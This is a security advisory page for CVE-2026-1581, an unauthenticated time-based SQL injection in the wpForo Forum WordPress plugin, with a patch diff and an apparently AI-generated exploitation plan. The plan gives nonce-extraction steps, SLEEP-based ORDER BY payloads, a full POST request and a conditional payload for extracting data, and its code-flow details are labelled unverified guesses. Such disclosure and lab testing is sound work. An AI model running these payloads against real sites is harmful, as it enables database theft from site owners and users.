CVE-2026-1581

wpForo Forum <= 2.4.14 - Unauthenticated Time-Based SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.4.15
Patched in
2d
Time to patch

Description

The wpForo Forum plugin for WordPress is vulnerable to time-based SQL Injection via the 'wpfob' parameter in all versions up to, and including, 2.4.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.14
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginwpforo

What Changed in the Fix

Changes introduced in v2.4.15

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1581 (wpForo Forum SQL Injection) ## 1. Vulnerability Summary The **wpForo Forum** plugin (<= 2.4.14) is vulnerable to an unauthenticated time-based SQL injection via the `wpfob` (wpForo Order By) parameter. The vulnerability exists because user-supplied input…

Show full research plan

Exploitation Research Plan: CVE-2026-1581 (wpForo Forum SQL Injection)

1. Vulnerability Summary

The wpForo Forum plugin (<= 2.4.14) is vulnerable to an unauthenticated time-based SQL injection via the wpfob (wpForo Order By) parameter. The vulnerability exists because user-supplied input to this parameter is directly concatenated into an SQL ORDER BY clause within the get_topics or similar data-retrieval methods without sufficient sanitization or preparation using $wpdb->prepare(). Since ORDER BY clauses cannot be parameterized with placeholders in MySQL, the plugin fails to properly escape or validate the input against a whitelist.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpforo_get_topic_list (or potentially wpforo_load_more_topics)
  • Vulnerable Parameter: wpfob
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook)
  • Payload Type: Time-based blind SQL Injection
  • Preconditions: wpForo must be active, and at least one forum/topic should exist to ensure the vulnerable code path is triggered.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action wpforo_get_topic_list.
  2. Hook Registration: The plugin registers this in classes/Topics.php or a central AJAX handler:
    add_action( 'wp_ajax_nopriv_wpforo_get_topic_list', [ $this, 'get_topic_list' ] );
  3. Parameter Handling: The handler retrieves the wpfob parameter from $_POST:
    $args['orderby'] = isset($_POST['wpfob']) ? $_POST['wpfob'] : 't.modified DESC';
  4. Database Query: This value is passed to a retrieval function (e.g., wpforo()->topic->get_topics( $args )).
  5. SQL Sink: Inside the retrieval function, the orderby string is concatenated into a raw SQL query:
    $sql = "SELECT ... FROM ... WHERE ... ORDER BY " . $args['orderby'] . " LIMIT ...";
    $wpdb->get_results( $sql ); (Missing $wpdb->prepare())

4. Nonce Acquisition Strategy

wpForo typically protects its AJAX endpoints using a nonce. While the vulnerability is unauthenticated, the AJAX handler still checks for a valid nonce.

  1. Identify Shortcode: The plugin's main interface is generated by the [wpforo] shortcode.
  2. Create Trigger Page:
    wp post create --post_type=page --post_title="Forum" --post_status=publish --post_content='[wpforo]'
  3. Navigate and Extract: Navigate to the newly created page. wpForo localizes its settings into a JavaScript object.
  4. JS Variable: The nonce is stored in the wpf_vars (or wpforo_vars) object.
    • Variable Name: wpf_vars
    • Key: ajax_nonce
  5. Agent Command:
    browser_eval("window.wpf_vars?.ajax_nonce")

5. Exploitation Strategy

We will use a time-based payload to confirm the injection.

Step 1: Base Delay Measurement

Send a normal request to establish a baseline response time.

Step 2: Injection Payload

The payload will use a comma-separated subquery in the ORDER BY clause.

  • Target Payload: t.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • URL Encoded: t.topicid%2C(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Execution via http_request

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=wpforo_get_topic_list&wpfob=t.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&wpforo_nonce=[EXTRACTED_NONCE]&forumid=1"
}

Note: forumid or other parameters may be required depending on the specific handler's validation logic.

6. Test Data Setup

  1. Install Plugin: Ensure wpforo version 2.4.14 is installed.
  2. Initialize Forum:
    • wp wpforo forum create --title="General Discussion" (or use the plugin's default setup).
    • Ensure at least one forum exists (ID usually 1 or 2).
  3. Create Topic:
    • wp wpforo topic create --forumid=1 --title="Test Topic" --content="Test content"
  4. Create Page:
    • wp post create --post_type=page --post_title="Forum" --post_status=publish --post_content='[wpforo]'

7. Expected Results

  • Vulnerable Response: The HTTP response for the malicious request will be delayed by approximately 5 seconds compared to the baseline.
  • SQL Error (if visible): If WP_DEBUG is on, you might see Expression #2 of ORDER BY clause is not in SELECT list, but the SLEEP() function will still execute first.

8. Verification Steps

  1. Time Difference: Confirm the response time exceeds the sleep threshold.
  2. Database state: Since it's a SELECT injection, database state won't change, but you can verify the log of the sleep command if MySQL general log is enabled:
    tail -f /var/lib/mysql/mysql.log | grep SLEEP (if accessible).
  3. Data Extraction (PoC): Attempt to extract the DB user length:
    wpfob=t.topicid,(SELECT 1 FROM (SELECT(SLEEP(IF(LENGTH(USER())=15,5,0))))a)
    (Adjust 15 based on the actual environment's DB user length, e.g., 'wordpress@localhost')

9. Alternative Approaches

  • Different Actions: If wpforo_get_topic_list is not the entry point, try wpforo_load_more_topics or wpforo_topic_list_sort.
  • Parameter Name: If wpfob is not directly accepted, it might be nested under an args array in some versions: args[wpfob].
  • Boolean-based: If time-based is unstable, use wpfob=IF(1=1,t.topicid,t.title) vs wpfob=IF(1=2,t.topicid,t.title) and check if the order of topics in the JSON response changes.
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpForo Forum plugin for WordPress is vulnerable to unauthenticated time-based SQL injection through the 'wpfob' parameter. The vulnerability exists because user-supplied input is directly concatenated into SQL ORDER BY clauses without adequate sanitization or comparison against a whitelist of allowed columns.

Vulnerable Code

/* wpforo/wpforo.php line 1033 */
if( ! empty( $get['wpfob'] ) ) {
	$args['orderby'] = sanitize_text_field( $get['wpfob'] );
} elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) {
	$args['orderby'] = 'date';
}

---

/* wpforo/themes/classic/recent.php line 32 */
$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';

---

/* wpforo/wpforo.php line 1153 */
$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.14/includes/functions.php /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.15/includes/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.14/includes/functions.php	2026-01-26 10:09:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.15/includes/functions.php	2026-02-12 10:33:04.000000000 +0000
@@ -2845,6 +2845,55 @@
 	return $data;
 }
 
+/**
+ * Sanitize orderby parameter for SQL queries.
+ * Validates against a whitelist of allowed column names to prevent SQL injection.
+ *
+ * @param string $orderby The orderby value to sanitize
+ * @param string $context The context: 'topics', 'posts', 'members', or 'search'
+ * @param string $default Default value if validation fails
+ * @return string Sanitized orderby value
+ */
+function wpforo_sanitize_orderby( $orderby, $context = 'topics', $default = '' ) {
+	$orderby = sanitize_text_field( $orderby );
+
+	// Define allowed columns for each context
+	$allowed = [
+		'topics' => [
+			'topicid', 'forumid', 'userid', 'title', 'slug', 'created', 'modified',
+			'views', 'posts', 'type', 'status', 'private', 'closed', 'solved',
+			'has_attach', 'first_postid', 'last_postid', 'pollid', 'prefix'
+		],
+		'posts' => [
+			'postid', 'forumid', 'topicid', 'userid', 'title', 'created', 'modified',
+			'status', 'private', 'is_answer', 'is_first_post', 'votes', 'root', 'parentid'
+		],
+		'members' => [
+			'userid', 'posts', 'questions', 'answers', 'comments', 'reactions', 'points',
+			'online_time', 'registered', 'display_name', 'user_registered'
+		],
+		'search' => [
+			'relevancy', 'date', 'user', 'forum', 'created', 'modified'
+		],
+	];
+
+	// Get the whitelist for this context
+	$whitelist = isset( $allowed[$context] ) ? $allowed[$context] : [];
+
+	// Also allow common aliases
+	$whitelist = array_merge( $whitelist, [ 'id', 'date', 'name' ] );
+
+	// Check if orderby is in the whitelist (case-insensitive)
+	$orderby_lower = strtolower( $orderby );
+	foreach( $whitelist as $allowed_col ) {
+		if( strtolower( $allowed_col ) === $orderby_lower ) {
+			return $allowed_col; // Return the properly cased version
+		}
+	}
+
+	// If not in whitelist, return the default
+	return $default;
+}
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.14/wpforo.php /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.15/wpforo.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.14/wpforo.php	2026-01-26 10:09:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpforo/2.4.15/wpforo.php	2026-02-12 10:33:04.000000000 +0000
@@ -1033,7 +1033,7 @@
 					'postids'     => [],
 				];
 				if( ! empty( $get['wpfob'] ) ) {
-					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
+					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
 				} elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) {
 					$args['orderby'] = 'date';
 				}

Exploit Outline

The exploit is performed by sending an unauthenticated POST request to the WordPress AJAX endpoint (admin-ajax.php). An attacker must first retrieve a valid AJAX nonce, which is typically exposed in the 'wpf_vars' JavaScript object on forum pages. Using this nonce, the attacker triggers actions such as 'wpforo_get_topic_list' and provides a malicious SQL payload in the 'wpfob' parameter. Since this parameter is concatenated into the ORDER BY clause, a payload like 't.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a)' will cause the database to pause for 5 seconds if vulnerable. This time delay confirms the injection and can be used to exfiltrate sensitive data letter-by-letter using conditional logic.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.